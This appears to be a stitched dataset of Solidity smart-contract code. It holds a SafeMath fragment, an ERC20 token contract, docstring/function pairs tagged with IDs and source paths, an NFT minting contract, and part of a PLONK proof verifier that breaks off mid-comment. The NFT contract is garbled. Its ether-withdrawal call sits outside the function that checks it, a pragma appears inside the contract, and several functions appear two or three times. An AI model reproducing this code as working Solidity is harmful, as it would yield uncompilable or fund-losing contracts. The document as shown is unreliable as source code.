function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity ^0.4.19;
/*
This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans.
This contract was then adapted by Iconemy to suit the MetaFusion token
*/
contract ERC20_mtf{
using SafeMath for uint256;
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant MAX_UINT256 = 2**256 - 1;
string public name = 'MetaFusion'; //fancy name: eg Simon Bucks
uint8 public decimals = 5; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol = 'MTF'; //An identifier: eg SBX
uint256 public totalSupply = 10000000000000;
uint256 public multiplier = 100000;
mapping (address => uint256) balances;
function ERC20_mtf(
address _owner
) public {
balances[_owner] = totalSupply; // Give the creator all initial tokens
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
// Get the balance of this caller
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
//Call internal transfer method
if(_transfer(msg.sender, _to, _value)){
return true;
} else {
return false;
}
}
function _transfer(address _from, address _to, uint256 _value) internal returns(bool success){
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows (as max number is 2**256 - 1 - balances will overflow after that)
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] = balances[_from].sub(_value);
// Add the same to the recipient
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
}
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity ^0.4.19;
/*
This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans.
This contract was then adapted by Iconemy to suit the MetaFusion token
1) Initial Finite Supply (upon creation one specifies how much is minted).
2) In the absence of a token registry: Optional Decimal, Symbol & Name.
3) Optional approveAndCall() functionality to notify a contract if an approval() has occurred.
*/
contract ERC20_mtf_allowance is ERC20_mtf {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
// Constructor function which takes in values from migrations and passes to parent contract
function ERC20_mtf_allowance(
address _owner
) public ERC20_mtf(_owner){}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// Get the allowance of a spender for a certain account
function allowanceOf(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//Check the allowance of the address spending tokens on behalf of account
uint256 allowance = allowanceOf(_from, msg.sender);
//Require that they must have more in their allowance than they wish to send
require(allowance >= _value);
//Require that allowance isnt the max integer
require(allowance < MAX_UINT256);
//If so, take from their allowance and transfer
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if(_transfer(_from, _to, _value)){
return true;
} else {
return false;
}
}
// Approve the allowance for a certain spender
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value) public returns (bool success) {
// This function is used by contracts to allowing the token to notify them when an approval has been made.
tokenSpender spender = tokenSpender(_spender);
if(approve(_spender, _value)){
spender.receiveApproval();
return true;
}
}
}
// Interface for Metafusions crowdsale contract
contract tokenSpender {
function receiveApproval() external;
}
|
This function is used by contracts to allowing the token to notify them when an approval has been made.
|
function approveAndCall(address _spender, uint256 _value) public returns (bool success) {
tokenSpender spender = tokenSpender(_spender);
if(approve(_spender, _value)){
spender.receiveApproval();
return true;
}
}
| 5,376,408
|
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./full_match/5/0x2E3dD5F1E9E3180a64E367B2aCD56B4004039590/sources/ParagonsDAOPlayerID.sol
|
@notice Block transfers unless Player has reached minimum rank needed to transfer, or receiver has a PDP already, or tranferring from/to zero address.
|
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
if (from == address(0) || to == address(0)) super._beforeTokenTransfer(from, to, tokenId);
else if (transferrable(tokenId) && balanceOf(to) == 0) super._beforeTokenTransfer(from, to, tokenId);
else revert NotTransferrable();
}
| 1,876,925
|
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./partial_match/1/0x96006F60B452526481a26eab55265ECdf82E7361/sources/HEX.sol
|
deduct from sender's balance
|
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
| 2,887,450
|
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./full_match/1/0x7F3C9e38eB2EBB192a8871c514da0D21Cc90AFc8/sources/contracts/LynchsLocksSuperContest.sol
|
Max Supply URI for metadata Royalties interface To claim ethers To get royalties NFT Price NFT Price Merkle Root for Discounts Mapping of discounts = used This means that if the max amount of tokens has been reached for the current phase, you cannot mint anymore
|
contract LynchsLocksSuperContest is ERC721Enumerable, Ownable, RoyaltiesV2Impl, Pausable {
uint256 public constant MAX_SUPPLY = 1000;
string public baseURI;
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
address payable public escrow;
address payable public secondary;
uint256 public nftPrice;
uint256 public discountPrice;
bytes32 public merkleRoot;
mapping(address => bool) public discountClaimed;
event EscrowUpdated(address caller, address indexed newEscrow);
event SecondaryUpdated(address caller, address indexed newSecondary);
event MerkleUpdated(address caller, bytes32 indexed newMerkle);
event PriceUpdated(address caller, uint256 indexed newPrice);
event DiscountUpdated(address caller, uint256 indexed newPrice);
pragma solidity 0.8.7;
modifier onlyWhenNotMaxSupplyReached() {
require(totalSupply() + 1 <= MAX_SUPPLY, "Lynchs Locks: Max Supply reached!");
_;
}
constructor(
address _escrow,
address _secondary,
bytes32 _merkleRoot,
uint256 _nftPrice,
uint256 _discountPrice,
string memory _uri
) ERC721("Lynchs Locks Football Super Contest", "LLFSC") {
require(_escrow != address(0), "Lynchs Locks: escrow is the zero address");
require(_secondary != address(0), "Lynchs Locks: secondary is the zero address");
escrow = payable(_escrow);
secondary = payable(_secondary);
nftPrice = _nftPrice;
discountPrice = _discountPrice;
merkleRoot = _merkleRoot;
baseURI = _uri;
}
function mintByOwner(address _to) external onlyOwner onlyWhenNotMaxSupplyReached {
_mintNFT(_to, totalSupply());
}
function pauseNow() external onlyOwner {
_pause();
}
function unpauseNow() external onlyOwner {
_unpause();
}
function updateEscrow(address _newEscrow) external onlyOwner {
require(_newEscrow != address(0), "Lynchs Locks: new escrow is the zero address");
escrow = payable(_newEscrow);
emit EscrowUpdated(msg.sender, _newEscrow);
}
function updateSecondary(address _newSecondary) external onlyOwner {
require(_newSecondary != address(0), "Lynchs Locks: new secondary is the zero address");
secondary = payable(_newSecondary);
emit SecondaryUpdated(msg.sender, _newSecondary);
}
function updateMerkle(bytes32 _newMerkle) external onlyOwner {
merkleRoot = _newMerkle;
emit MerkleUpdated(msg.sender, _newMerkle);
}
function updateNftPrice(uint256 _newPrice) external onlyOwner {
require(_newPrice > 0, "Lynchs Locks: new price zero");
nftPrice = _newPrice;
emit PriceUpdated(msg.sender, _newPrice);
}
function updateDiscountPrice(uint256 _newPrice) external onlyOwner {
require(_newPrice > 0, "Lynchs Locks: new price zero");
discountPrice = _newPrice;
emit DiscountUpdated(msg.sender, _newPrice);
}
function claim() external onlyOwner {
require(sent, "Lynchs Locks: Failed to send Ether");
}
(bool sent, ) = escrow.call{value: address(this).balance}("");
function tokensOfOwner(address _ownerAddress) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_ownerAddress);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_ownerAddress, i);
}
return tokensId;
}
function tokensOfOwner(address _ownerAddress) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_ownerAddress);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_ownerAddress, i);
}
return tokensId;
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
LibPart.Part[] memory _royalties = royalties[_tokenId];
if (_royalties.length > 0) {
return (_royalties[0].account, (_salePrice * _royalties[0].value) / 10000);
}
return (address(0), 0);
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
LibPart.Part[] memory _royalties = royalties[_tokenId];
if (_royalties.length > 0) {
return (_royalties[0].account, (_salePrice * _royalties[0].value) / 10000);
}
return (address(0), 0);
}
function mintNFT() external payable whenNotPaused onlyWhenNotMaxSupplyReached {
require(msg.value >= nftPrice, "Lynchs Locks: Ether value sent is not correct");
_mintNFT(msg.sender, totalSupply());
}
function discount(bytes32[] calldata _merkleProof)
external
payable
whenNotPaused
onlyWhenNotMaxSupplyReached
{
require(!discountClaimed[msg.sender], "Lynchs Locks: Discount already claimed.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"Lynchs Locks: Address is not allowlisted"
);
require(msg.value >= discountPrice, "Lynchs Locks: Ether value sent is not correct");
discountClaimed[msg.sender] = true;
_mintNFT(msg.sender, totalSupply());
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), "Lynchs Locks: URI query for nonexistent token");
return baseURI;
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable)
returns (bool)
{
if (interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) {
return true;
}
if (interfaceId == _INTERFACE_ID_ERC2981) {
return true;
}
return super.supportsInterface(interfaceId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable)
returns (bool)
{
if (interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) {
return true;
}
if (interfaceId == _INTERFACE_ID_ERC2981) {
return true;
}
return super.supportsInterface(interfaceId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable)
returns (bool)
{
if (interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) {
return true;
}
if (interfaceId == _INTERFACE_ID_ERC2981) {
return true;
}
return super.supportsInterface(interfaceId);
}
function _mintNFT(address _to, uint256 _tokenId) internal {
_setRoyalties(_tokenId, secondary, 400);
_safeMint(_to, _tokenId);
}
function _setRoyalties(
uint256 _tokenId,
address payable _royaltiesRecipientAddress,
uint96 _percentageBasisPoints
) internal {
LibPart.Part[] memory _royalties = new LibPart.Part[](1);
_royalties[0].value = _percentageBasisPoints;
_royalties[0].account = _royaltiesRecipientAddress;
_saveRoyalties(_tokenId, _royalties);
}
}
| 16,549,237
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// SPDX-License-Identifier: MIT OR Apache-2.0
// Based on: https://github.com/matter-labs/zksync/blob/master/core/bin/key_generator/src/verifier_contract_generator/VerifierTemplate.sol, rev#4012188
pragma solidity >=0.5.0 <0.9.0;
pragma experimental ABIEncoderV2;
library PairingsBn254 {
uint256 constant q_mod = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
uint256 constant r_mod = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint256 constant bn254_b_coeff = 3;
struct G1Point {
uint256 X;
uint256 Y;
}
struct Fr {
uint256 value;
}
function new_fr(uint256 fr) internal pure returns (Fr memory) {
require(fr < r_mod);
return Fr({value: fr});
}
function copy(Fr memory self) internal pure returns (Fr memory n) {
n.value = self.value;
}
function assign(Fr memory self, Fr memory other) internal pure {
self.value = other.value;
}
function inverse(Fr memory fr) internal view returns (Fr memory) {
require(fr.value != 0);
return pow(fr, r_mod - 2);
}
function add_assign(Fr memory self, Fr memory other) internal pure {
self.value = addmod(self.value, other.value, r_mod);
}
function sub_assign(Fr memory self, Fr memory other) internal pure {
self.value = addmod(self.value, r_mod - other.value, r_mod);
}
function mul_assign(Fr memory self, Fr memory other) internal pure {
self.value = mulmod(self.value, other.value, r_mod);
}
function pow(Fr memory self, uint256 power) internal view returns (Fr memory) {
uint256[6] memory input = [32, 32, 32, self.value, power, r_mod];
uint256[1] memory result;
bool success;
assembly {
success := staticcall(gas(), 0x05, input, 0xc0, result, 0x20)
}
require(success);
return Fr({value: result[0]});
}
// Encoding of field elements is: X[0] * z + X[1]
struct G2Point {
uint256[2] X;
uint256[2] Y;
}
function P1() internal pure returns (G1Point memory) {
return G1Point(1, 2);
}
function new_g1(uint256 x, uint256 y) internal pure returns (G1Point memory) {
return G1Point(x, y);
}
function new_g1_checked(uint256 x, uint256 y) internal pure returns (G1Point memory) {
if (x == 0 && y == 0) {
// point of infinity is (0,0)
return G1Point(x, y);
}
// check encoding
require(x < q_mod);
require(y < q_mod);
// check on curve
uint256 lhs = mulmod(y, y, q_mod); // y^2
uint256 rhs = mulmod(x, x, q_mod); // x^2
rhs = mulmod(rhs, x, q_mod); // x^3
rhs = addmod(rhs, bn254_b_coeff, q_mod); // x^3 + b
require(lhs == rhs);
return G1Point(x, y);
}
function new_g2(uint256[2] memory x, uint256[2] memory y) internal pure returns (G2Point memory) {
return G2Point(x, y);
}
function copy_g1(G1Point memory self) internal pure returns (G1Point memory result) {
result.X = self.X;
result.Y = self.Y;
}
function P2() internal pure returns (G2Point memory) {
// for some reason ethereum expects to have c1*v + c0 form
return
G2Point(
[
0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2,
0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed
],
[
0x090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b,
0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa
]
);
}
function negate(G1Point memory self) internal pure {
// The prime q in the base field F_q for G1
if (self.Y == 0) {
require(self.X == 0);
return;
}
self.Y = q_mod - self.Y;
}
function point_add(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) {
point_add_into_dest(p1, p2, r);
return r;
}
function point_add_assign(G1Point memory p1, G1Point memory p2) internal view {
point_add_into_dest(p1, p2, p1);
}
function point_add_into_dest(
G1Point memory p1,
G1Point memory p2,
G1Point memory dest
) internal view {
if (p2.X == 0 && p2.Y == 0) {
// we add zero, nothing happens
dest.X = p1.X;
dest.Y = p1.Y;
return;
} else if (p1.X == 0 && p1.Y == 0) {
// we add into zero, and we add non-zero point
dest.X = p2.X;
dest.Y = p2.Y;
return;
} else {
uint256[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = p2.Y;
bool success = false;
assembly {
success := staticcall(gas(), 6, input, 0x80, dest, 0x40)
}
require(success);
}
}
function point_sub_assign(G1Point memory p1, G1Point memory p2) internal view {
point_sub_into_dest(p1, p2, p1);
}
function point_sub_into_dest(
G1Point memory p1,
G1Point memory p2,
G1Point memory dest
) internal view {
if (p2.X == 0 && p2.Y == 0) {
// we subtracted zero, nothing happens
dest.X = p1.X;
dest.Y = p1.Y;
return;
} else if (p1.X == 0 && p1.Y == 0) {
// we subtract from zero, and we subtract non-zero point
dest.X = p2.X;
dest.Y = q_mod - p2.Y;
return;
} else {
uint256[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = q_mod - p2.Y;
bool success = false;
assembly {
success := staticcall(gas(), 6, input, 0x80, dest, 0x40)
}
require(success);
}
}
function point_mul(G1Point memory p, Fr memory s) internal view returns (G1Point memory r) {
point_mul_into_dest(p, s, r);
return r;
}
function point_mul_assign(G1Point memory p, Fr memory s) internal view {
point_mul_into_dest(p, s, p);
}
function point_mul_into_dest(
G1Point memory p,
Fr memory s,
G1Point memory dest
) internal view {
uint256[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s.value;
bool success;
assembly {
success := staticcall(gas(), 7, input, 0x60, dest, 0x40)
}
require(success);
}
function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) {
require(p1.length == p2.length);
uint256 elements = p1.length;
uint256 inputSize = elements * 6;
uint256[] memory input = new uint256[](inputSize);
for (uint256 i = 0; i < elements; i++) {
input[i * 6 + 0] = p1[i].X;
input[i * 6 + 1] = p1[i].Y;
input[i * 6 + 2] = p2[i].X[0];
input[i * 6 + 3] = p2[i].X[1];
input[i * 6 + 4] = p2[i].Y[0];
input[i * 6 + 5] = p2[i].Y[1];
}
uint256[1] memory out;
bool success;
assembly {
success := staticcall(gas(), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)
}
require(success);
return out[0] != 0;
}
/// Convenience method for a pairing check for two pairs.
function pairingProd2(
G1Point memory a1,
G2Point memory a2,
G1Point memory b1,
G2Point memory b2
) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](2);
G2Point[] memory p2 = new G2Point[](2);
p1[0] = a1;
p1[1] = b1;
p2[0] = a2;
p2[1] = b2;
return pairing(p1, p2);
}
}
library TranscriptLibrary {
// flip 0xe000000000000000000000000000000000000000000000000000000000000000;
uint256 constant FR_MASK = 0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint32 constant DST_0 = 0;
uint32 constant DST_1 = 1;
uint32 constant DST_CHALLENGE = 2;
struct Transcript {
bytes32 state_0;
bytes32 state_1;
uint32 challenge_counter;
}
function new_transcript() internal pure returns (Transcript memory t) {
t.state_0 = bytes32(0);
t.state_1 = bytes32(0);
t.challenge_counter = 0;
}
function update_with_u256(Transcript memory self, uint256 value) internal pure {
bytes32 old_state_0 = self.state_0;
self.state_0 = keccak256(abi.encodePacked(DST_0, old_state_0, self.state_1, value));
self.state_1 = keccak256(abi.encodePacked(DST_1, old_state_0, self.state_1, value));
}
function update_with_fr(Transcript memory self, PairingsBn254.Fr memory value) internal pure {
update_with_u256(self, value.value);
}
function update_with_g1(Transcript memory self, PairingsBn254.G1Point memory p) internal pure {
update_with_u256(self, p.X);
update_with_u256(self, p.Y);
}
function get_challenge(Transcript memory self) internal pure returns (PairingsBn254.Fr memory challenge) {
bytes32 query = keccak256(abi.encodePacked(DST_CHALLENGE, self.state_0, self.state_1, self.challenge_counter));
self.challenge_counter += 1;
challenge = PairingsBn254.Fr({value: uint256(query) & FR_MASK});
}
}
contract Plonk4VerifierWithAccessToDNext {
uint256 constant r_mod = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
using PairingsBn254 for PairingsBn254.G1Point;
using PairingsBn254 for PairingsBn254.G2Point;
using PairingsBn254 for PairingsBn254.Fr;
using TranscriptLibrary for TranscriptLibrary.Transcript;
uint256 constant ZERO = 0;
uint256 constant ONE = 1;
uint256 constant TWO = 2;
uint256 constant THREE = 3;
uint256 constant FOUR = 4;
uint256 constant STATE_WIDTH = 4;
uint256 constant NUM_DIFFERENT_GATES = 2;
uint256 constant NUM_SETUP_POLYS_FOR_MAIN_GATE = 7;
uint256 constant NUM_SETUP_POLYS_RANGE_CHECK_GATE = 0;
uint256 constant ACCESSIBLE_STATE_POLYS_ON_NEXT_STEP = 1;
uint256 constant NUM_GATE_SELECTORS_OPENED_EXPLICITLY = 1;
uint256 constant RECURSIVE_CIRCUIT_INPUT_COMMITMENT_MASK =
0x00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint256 constant LIMB_WIDTH = 68;
struct VerificationKey {
uint256 domain_size;
uint256 num_inputs;
PairingsBn254.Fr omega;
PairingsBn254.G1Point[NUM_SETUP_POLYS_FOR_MAIN_GATE + NUM_SETUP_POLYS_RANGE_CHECK_GATE] gate_setup_commitments;
PairingsBn254.G1Point[NUM_DIFFERENT_GATES] gate_selector_commitments;
PairingsBn254.G1Point[STATE_WIDTH] copy_permutation_commitments;
PairingsBn254.Fr[STATE_WIDTH - 1] copy_permutation_non_residues;
PairingsBn254.G2Point g2_x;
}
struct Proof {
uint256[] input_values;
PairingsBn254.G1Point[STATE_WIDTH] wire_commitments;
PairingsBn254.G1Point copy_permutation_grand_product_commitment;
PairingsBn254.G1Point[STATE_WIDTH] quotient_poly_commitments;
PairingsBn254.Fr[STATE_WIDTH] wire_values_at_z;
PairingsBn254.Fr[ACCESSIBLE_STATE_POLYS_ON_NEXT_STEP] wire_values_at_z_omega;
PairingsBn254.Fr[NUM_GATE_SELECTORS_OPENED_EXPLICITLY] gate_selector_values_at_z;
PairingsBn254.Fr copy_grand_product_at_z_omega;
PairingsBn254.Fr quotient_polynomial_at_z;
PairingsBn254.Fr linearization_polynomial_at_z;
PairingsBn254.Fr[STATE_WIDTH - 1] permutation_polynomials_at_z;
PairingsBn254.G1Point opening_at_z_proof;
PairingsBn254.G1Point opening_at_z_omega_proof;
}
struct PartialVerifierState {
PairingsBn254.Fr alpha;
PairingsBn254.Fr beta;
PairingsBn254.Fr gamma;
PairingsBn254.Fr v;
PairingsBn254.Fr u;
PairingsBn254.Fr z;
PairingsBn254.Fr[] cached_lagrange_evals;
}
function evaluate_lagrange_poly_out_of_domain(
uint256 poly_num,
uint256 domain_size,
PairingsBn254.Fr memory omega,
PairingsBn254.Fr memory at
) internal view returns (PairingsBn254.Fr memory res) {
require(poly_num < domain_size);
PairingsBn254.Fr memory one = PairingsBn254.new_fr(1);
PairingsBn254.Fr memory omega_power = omega.pow(poly_num);
res = at.pow(domain_size);
res.sub_assign(one);
require(res.value != 0); // Vanishing polynomial can not be zero at point `at`
res.mul_assign(omega_power);
PairingsBn254.Fr memory den = PairingsBn254.copy(at);
den.sub_assign(omega_power);
den.mul_assign(PairingsBn254.new_fr(domain_size));
den = den.inverse();
res.mul_assign(den);
}
function batch_evaluate_lagrange_poly_out_of_domain(
uint256[] memory poly_nums,
uint256 domain_size,
PairingsBn254.Fr memory omega,
PairingsBn254.Fr memory at
) internal view returns (PairingsBn254.Fr[] memory res) {
PairingsBn254.Fr memory one = PairingsBn254.new_fr(1);
PairingsBn254.Fr memory tmp_1 = PairingsBn254.new_fr(0);
PairingsBn254.Fr memory tmp_2 = PairingsBn254.new_fr(domain_size);
PairingsBn254.Fr memory vanishing_at_z = at.pow(domain_size);
vanishing_at_z.sub_assign(one);
// we can not have random point z be in domain
require(vanishing_at_z.value != 0);
PairingsBn254.Fr[] memory nums = new PairingsBn254.Fr[](poly_nums.length);
PairingsBn254.Fr[] memory dens = new PairingsBn254.Fr[](poly_nums.length);
// numerators in a form omega^i * (z^n - 1)
// denoms in a form (z - omega^i) * N
for (uint256 i = 0; i < poly_nums.length; i++) {
tmp_1 = omega.pow(poly_nums[i]); // power of omega
nums[i].assign(vanishing_at_z);
nums[i].mul_assign(tmp_1);
dens[i].assign(at); // (X - omega^i) * N
dens[i].sub_assign(tmp_1);
dens[i].mul_assign(tmp_2); // mul by domain size
}
PairingsBn254.Fr[] memory partial_products = new PairingsBn254.Fr[](poly_nums.length);
partial_products[0].assign(PairingsBn254.new_fr(1));
for (uint256 i = 1; i < dens.length - 1; i++) {
partial_products[i].assign(dens[i - 1]);
partial_products[i].mul_assign(dens[i]);
}
tmp_2.assign(partial_products[partial_products.length - 1]);
tmp_2.mul_assign(dens[dens.length - 1]);
tmp_2 = tmp_2.inverse(); // tmp_2 contains a^-1 * b^-1 (with! the last one)
for (uint i = dens.length - 1; ; i--) {
tmp_1.assign(tmp_2); // all inversed
tmp_1.mul_assign(partial_products[i]); // clear lowest terms
tmp_2.mul_assign(dens[i]);
dens[i].assign(tmp_1);
if (i == 0) {
break;
}
}
for (uint256 i = 0; i < nums.length; i++) {
nums[i].mul_assign(dens[i]);
}
return nums;
}
function evaluate_vanishing(uint256 domain_size, PairingsBn254.Fr memory at)
internal
view
returns (PairingsBn254.Fr memory res)
{
res = at.pow(domain_size);
res.sub_assign(PairingsBn254.new_fr(1));
}
function verify_at_z(
PartialVerifierState memory state,
Proof memory proof,
VerificationKey memory vk
) internal view returns (bool) {
PairingsBn254.Fr memory lhs = evaluate_vanishing(vk.domain_size, state.z);
require(lhs.value != 0); // we can not check a polynomial relationship if point `z` is in the domain
lhs.mul_assign(proof.quotient_polynomial_at_z);
PairingsBn254.Fr memory quotient_challenge = PairingsBn254.new_fr(1);
PairingsBn254.Fr memory rhs = PairingsBn254.copy(proof.linearization_polynomial_at_z);
// public inputs
PairingsBn254.Fr memory tmp = PairingsBn254.new_fr(0);
PairingsBn254.Fr memory inputs_term = PairingsBn254.new_fr(0);
for (uint256 i = 0; i < proof.input_values.length; i++) {
tmp.assign(state.cached_lagrange_evals[i]);
tmp.mul_assign(PairingsBn254.new_fr(proof.input_values[i]));
inputs_term.add_assign(tmp);
}
inputs_term.mul_assign(proof.gate_selector_values_at_z[0]);
rhs.add_assign(inputs_term);
// now we need 5th power
quotient_challenge.mul_assign(state.alpha);
quotient_challenge.mul_assign(state.alpha);
quotient_challenge.mul_assign(state.alpha);
quotient_challenge.mul_assign(state.alpha);
quotient_challenge.mul_assign(state.alpha);
PairingsBn254.Fr memory z_part = PairingsBn254.copy(proof.copy_grand_product_at_z_omega);
for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) {
tmp.assign(proof.permutation_polynomials_at_z[i]);
tmp.mul_assign(state.beta);
tmp.add_assign(state.gamma);
tmp.add_assign(proof.wire_values_at_z[i]);
z_part.mul_assign(tmp);
}
tmp.assign(state.gamma);
// we need a wire value of the last polynomial in enumeration
tmp.add_assign(proof.wire_values_at_z[STATE_WIDTH - 1]);
z_part.mul_assign(tmp);
z_part.mul_assign(quotient_challenge);
rhs.sub_assign(z_part);
quotient_challenge.mul_assign(state.alpha);
tmp.assign(state.cached_lagrange_evals[0]);
tmp.mul_assign(quotient_challenge);
rhs.sub_assign(tmp);
return lhs.value == rhs.value;
}
function add_contribution_from_range_constraint_gates(
PartialVerifierState memory state,
Proof memory proof,
PairingsBn254.Fr memory current_alpha
) internal pure returns (PairingsBn254.Fr memory res) {
// now add contribution from range constraint gate
// we multiply selector commitment by all the factors (alpha*(c - 4d)(c - 4d - 1)(..-2)(..-3) + alpha^2 * (4b - c)()()() + {} + {})
PairingsBn254.Fr memory one_fr = PairingsBn254.new_fr(ONE);
PairingsBn254.Fr memory two_fr = PairingsBn254.new_fr(TWO);
PairingsBn254.Fr memory three_fr = PairingsBn254.new_fr(THREE);
PairingsBn254.Fr memory four_fr = PairingsBn254.new_fr(FOUR);
res = PairingsBn254.new_fr(0);
PairingsBn254.Fr memory t0 = PairingsBn254.new_fr(0);
PairingsBn254.Fr memory t1 = PairingsBn254.new_fr(0);
PairingsBn254.Fr memory t2 = PairingsBn254.new_fr(0);
for (uint256 i = 0; i < 3; i++) {
current_alpha.mul_assign(state.alpha);
// high - 4*low
// this is 4*low
t0 = PairingsBn254.copy(proof.wire_values_at_z[3 - i]);
t0.mul_assign(four_fr);
// high
t1 = PairingsBn254.copy(proof.wire_values_at_z[2 - i]);
t1.sub_assign(t0);
// t0 is now t1 - {0,1,2,3}
// first unroll manually for -0;
t2 = PairingsBn254.copy(t1);
// -1
t0 = PairingsBn254.copy(t1);
t0.sub_assign(one_fr);
t2.mul_assign(t0);
// -2
t0 = PairingsBn254.copy(t1);
t0.sub_assign(two_fr);
t2.mul_assign(t0);
// -3
t0 = PairingsBn254.copy(t1);
t0.sub_assign(three_fr);
t2.mul_assign(t0);
t2.mul_assign(current_alpha);
res.add_assign(t2);
}
// now also d_next - 4a
current_alpha.mul_assign(state.alpha);
// high - 4*low
// this is 4*low
t0 = PairingsBn254.copy(proof.wire_values_at_z[0]);
t0.mul_assign(four_fr);
// high
t1 = PairingsBn254.copy(proof.wire_values_at_z_omega[0]);
t1.sub_assign(t0);
// t0 is now t1 - {0,1,2,3}
// first unroll manually for -0;
t2 = PairingsBn254.copy(t1);
// -1
t0 = PairingsBn254.copy(t1);
t0.sub_assign(one_fr);
t2.mul_assign(t0);
// -2
t0 = PairingsBn254.copy(t1);
t0.sub_assign(two_fr);
t2.mul_assign(t0);
// -3
t0 = PairingsBn254.copy(t1);
t0.sub_assign(three_fr);
t2.mul_assign(t0);
t2.mul_assign(current_alpha);
res.add_assign(t2);
return res;
}
function reconstruct_linearization_commitment(
PartialVerifierState memory state,
Proof memory proof,
VerificationKey memory vk
) internal view returns (PairingsBn254.G1Point memory res) {
// we compute what power of v is used as a delinearization factor in batch opening of
// commitments. Let's label W(x) = 1 / (x - z) *
// [
// t_0(x) + z^n * t_1(x) + z^2n * t_2(x) + z^3n * t_3(x) - t(z)
// + v (r(x) - r(z))
// + v^{2..5} * (witness(x) - witness(z))
// + v^{6} * (selector(x) - selector(z))
// + v^{7..9} * (permutation(x) - permutation(z))
// ]
// W'(x) = 1 / (x - z*omega) *
// [
// + v^10 (z(x) - z(z*omega)) <- we need this power
// + v^11 * (d(x) - d(z*omega))
// ]
//
// we reconstruct linearization polynomial virtual selector
// for that purpose we first linearize over main gate (over all it's selectors)
// and multiply them by value(!) of the corresponding main gate selector
